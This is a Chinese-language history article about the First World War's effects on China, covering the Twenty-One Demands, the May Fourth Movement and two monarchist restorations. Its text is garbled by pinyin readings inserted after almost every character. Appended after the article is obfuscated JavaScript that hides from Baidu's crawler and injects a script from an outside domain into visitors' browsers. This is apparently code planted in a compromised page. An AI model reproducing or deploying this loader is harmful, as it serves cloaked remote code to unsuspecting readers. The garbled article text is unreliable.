當(dāng)前位置:首頁(yè) > 歷史 > 戰(zhàn)史風(fēng)云 > 正文

一戰(zhàn)對(duì)于中國(guó)的意義 民族主義逐漸覺(jué)醒

2017-04-29 12:48:30  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):第一次世界大戰(zhàn)主要的戰(zhàn)區(qū),集中在歐洲。但中心區(qū)域的爆裂性震蕩,絕不意味著邊緣區(qū)域就能安然無(wú)恙。歐洲列強(qiáng)在東亞力量的削弱,意味著日本

第一次世界大戰(zhàn)主要的戰(zhàn)區(qū),集中在歐洲。但中心區(qū)域的爆裂性震蕩,絕不意味著邊緣區(qū)域就能安然無(wú)恙。歐洲列強(qiáng)在東亞力量的削弱,意味著日本成為該區(qū)域的支配性力量。

本文將談到的兩場(chǎng)帝制,指的是洪憲帝制、張勛復(fù)辟;兩場(chǎng)運(yùn)動(dòng),指的是反“二十一條”運(yùn)動(dòng)、五四運(yùn)動(dòng)。這些集中在1914-1919年的事件的背景中,無(wú)一例外,都有日本存在。之所以日本變成了能夠左右中國(guó)政局的力量,也恰恰是一戰(zhàn)造成列強(qiáng)真空的結(jié)果。

兩場(chǎng)運(yùn)動(dòng):反“二十一條”與五四運(yùn)動(dòng)

一戰(zhàn)在中國(guó)的開場(chǎng)白,是為1914年年底的“澳膠戰(zhàn)爭(zhēng)”。盡管戰(zhàn)爭(zhēng)始終局限在青島膠州灣的狹小地理空間,但也是一場(chǎng)名副其實(shí)的小規(guī)模國(guó)際戰(zhàn)爭(zhēng)。主要參戰(zhàn)國(guó)為日、德雙方,英國(guó)、奧匈帝國(guó)的軍隊(duì),都有不同程度的協(xié)同參與。青島的主權(quán)所有者——中國(guó),又一次實(shí)行了局外中立。

但日本的要求,不止于占領(lǐng)青島。1915年1月18日,日本大使日置益面見袁世凱,首開元首外交之惡例,向中國(guó)提出分“五號(hào)”總共“二十一條”的“覺(jué)書”,并要求威脅中方,保守秘密。其中第五號(hào),要求中國(guó)政府聘用日本人為政治、軍事、財(cái)政等顧問(wèn),中日合辦警政和兵工廠。袁世凱謂該“覺(jué)書”,是以“亡韓對(duì)我”。

隨后,中日之間就“二十一條”展開了漫長(zhǎng)的外交交涉過(guò)程,前后展開25輪談判。5月7日,日本政府為了打開僵局,以武力相威脅,向中國(guó)發(fā)出了最后通牒,限令于9日前答復(fù)。最后通牒要求答復(fù)的要求中,日本政府接受元老的忠告,刪除了第五號(hào)。袁世凱政府在5月9日接受二十一條中一至四號(hào)的要求。最后簽訂《中日民四條約》。

在“二十一條”簽訂過(guò)程中,袁世凱政府向英美不斷放風(fēng),幾乎每次外交談判的內(nèi)容,都通過(guò)顧維鈞,向英美使館與報(bào)界傳達(dá)。從袁世凱政府的用意來(lái)看,是希望以英美(尤其是美國(guó))力量來(lái)遏制日本。

民國(guó)初年,輿論已較晚清有大的發(fā)展,各種各樣的報(bào)紙已經(jīng)出現(xiàn),這些報(bào)刊逐日刊載“二十一條”談判的消息,大眾神經(jīng)一再被刺激。晚清諸次外交事件,喪權(quán)辱國(guó)、割地求和者不在少數(shù),比起二十一條來(lái),更為苛刻,但都沒(méi)有引起如此大規(guī)模的群眾抗議運(yùn)動(dòng)。同樣,袁世凱政府的合法性,也在抗議運(yùn)動(dòng)中一再被剝蝕,甚至于原屬北洋系統(tǒng)的各路督軍(馮國(guó)璋、張勛等),也紛紛通電抗議,稱不惜一戰(zhàn),以捍衛(wèi)主權(quán)。

如果“澳膠戰(zhàn)爭(zhēng)”與“二十一條”是為一戰(zhàn)在中國(guó)的開場(chǎng)白,那么“五四運(yùn)動(dòng)”,實(shí)際上是一戰(zhàn)在中國(guó)的收尾之作,這一次外交失敗的經(jīng)歷更為慘痛。

1919年巴黎和會(huì)之前,中國(guó)代表團(tuán)抱以極高的期望參加和會(huì)。畢竟,一戰(zhàn)是中國(guó)近代史上第一次以勝利者姿態(tài)出現(xiàn)在和議簽訂席上。彼時(shí),中國(guó)政學(xué)界赴法觀摩盛會(huì)者不在少數(shù)。國(guó)內(nèi)輿論界,也熱情高漲,以為此次和會(huì),將能歸還戰(zhàn)時(shí)被日本奪取的山東半島主權(quán)。實(shí)際上,這也是當(dāng)日英法秘密運(yùn)動(dòng)北洋政府參戰(zhàn)的條件之一。

不幸的是,會(huì)議一開始,中國(guó)代表團(tuán)就陷入困境。在議席問(wèn)題上,中國(guó)被視為三等戰(zhàn)勝國(guó)。其次,在山東主權(quán)問(wèn)題上,列強(qiáng)無(wú)一支持中國(guó)的正當(dāng)要求。在和議簽訂最后時(shí)刻,北京政府對(duì)是否在和議上簽字,不置可否。顧維鈞與陸征祥商議之后,決定放棄在和議上簽字。由此,巴黎和會(huì)成為五四運(yùn)動(dòng)的觸發(fā)點(diǎn)。

相較于二十一條抗議運(yùn)動(dòng),五四運(yùn)動(dòng)的規(guī)模更大。二十一條抗議運(yùn)動(dòng),基本人群為大城市中有文化的群體。而五四運(yùn)動(dòng),非但學(xué)生為其先導(dǎo),其抗議人群,波及工人、商會(huì)、市民、手工業(yè)者,抗議浪潮波及全國(guó)所有大中型城市。并且,南北各軍政要,也紛紛支持運(yùn)動(dòng)。

二十一條抗議運(yùn)動(dòng)至五四運(yùn)動(dòng),民眾自發(fā)組織能力不斷加強(qiáng),政治意識(shí)被不斷喚醒。一戰(zhàn)和日本,在這里充當(dāng)?shù)?,都是中?guó)民族意識(shí)被喚醒的觸媒。

兩場(chǎng)帝制:洪憲帝制與張勛復(fù)辟

1915年至-1917年,是一戰(zhàn)在歐洲如火如荼之時(shí),中國(guó)連續(xù)出現(xiàn)了兩場(chǎng)復(fù)辟帝制的“革命”(顛覆現(xiàn)行政權(quán)的造反行為)。

毫無(wú)疑問(wèn),要恢復(fù)帝制,就要顛覆共和國(guó)。但是,為什么袁世凱和張勛要冒天下之大不韙?

1915年年底,袁世凱帝制自為運(yùn)動(dòng),從籌安會(huì)成立開始,就愈演愈烈。袁世凱帝制有一個(gè)重要的外來(lái)因素,即“二十一條”導(dǎo)致袁世凱政府蒙受強(qiáng)烈的屈辱感。

楊度在1915年四月著名的為帝制鼓吹的文章《君憲救國(guó)論》,將對(duì)日交涉之憤懣,國(guó)家不富強(qiáng)之根本問(wèn)題,歸于立憲君主之不至。在同年的五月三十一日,袁世凱讀完《君憲救國(guó)論》,大加贊賞,親筆題字,賜楊度“曠代逸才”。

值得一提的是,袁世凱帝制之失敗,西南護(hù)國(guó)軍固然給了北洋軍不小的壓力,日本政府不贊同,甚至以武力威脅袁取消帝制,也是重要原因。

1917年,隨著德國(guó)無(wú)限制潛艇戰(zhàn)的提出,段祺瑞主導(dǎo)的北洋政權(quán)再次將參戰(zhàn)問(wèn)題納入議程。段祺瑞強(qiáng)硬主張參加協(xié)約國(guó),而時(shí)任中華民國(guó)大總統(tǒng)黎元洪與段祺瑞積怨甚深,在參戰(zhàn)問(wèn)題上,意見相左,引發(fā)府(總統(tǒng)府)院(國(guó)務(wù)院)之爭(zhēng)。黎元洪邀請(qǐng)駐徐州的張勛北上調(diào)停時(shí)局,張勛借此機(jī)會(huì)復(fù)辟帝制。

不過(guò),第二次復(fù)辟,比第一次袁世凱復(fù)辟失敗得更倉(cāng)促,前后不過(guò)十二天而已。張勛復(fù)辟之前,數(shù)次聯(lián)絡(luò)日本,希望獲得支持,但日本政府對(duì)帝制不表支持。并且,在反張勛復(fù)辟的討逆戰(zhàn)爭(zhēng)中,日本積極在經(jīng)濟(jì)上支持段祺瑞,使得段祺瑞能在短期內(nèi)組織起討逆軍。

留美精英的崛起

回顧這段歷史,有幾個(gè)問(wèn)題應(yīng)當(dāng)注意到,并對(duì)近代中國(guó)發(fā)生持續(xù)影響。

第一,一戰(zhàn)對(duì)于中國(guó)來(lái)說(shuō),是個(gè)突然發(fā)生的意外狀態(tài)。此前列強(qiáng)都同意的“門戶開放,利益均沾”的對(duì)華政策,被打斷了,隨之而來(lái)的是日本勢(shì)力在華上升。

第二,中國(guó)內(nèi)部的權(quán)勢(shì)轉(zhuǎn)移。由于青島主權(quán)問(wèn)題、二十一條之抗?fàn)幰约皣@中國(guó)山東主權(quán)問(wèn)題巴黎和會(huì)之失敗,中國(guó)早期留日并有一定親日傾向的精英階層,不斷被邊緣化,相反,留美之精英,無(wú)論在輿論市場(chǎng)還是政治前途上,都大為被看好。1919年前后,可以注意到的是,胡適在知識(shí)界發(fā)生了巨大影響,而在外交界,顧維鈞則逐漸成為主導(dǎo)性人物,這兩人都是留美博士。

第三,未來(lái)主導(dǎo)中國(guó)的新政治力量崛起。五四運(yùn)動(dòng)的導(dǎo)因中,山東之主權(quán)問(wèn)題,是最為關(guān)鍵性的因素。英法列強(qiáng)對(duì)中國(guó)正當(dāng)要求的不予理睬乃至出賣,導(dǎo)致了民族主義的崛起。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}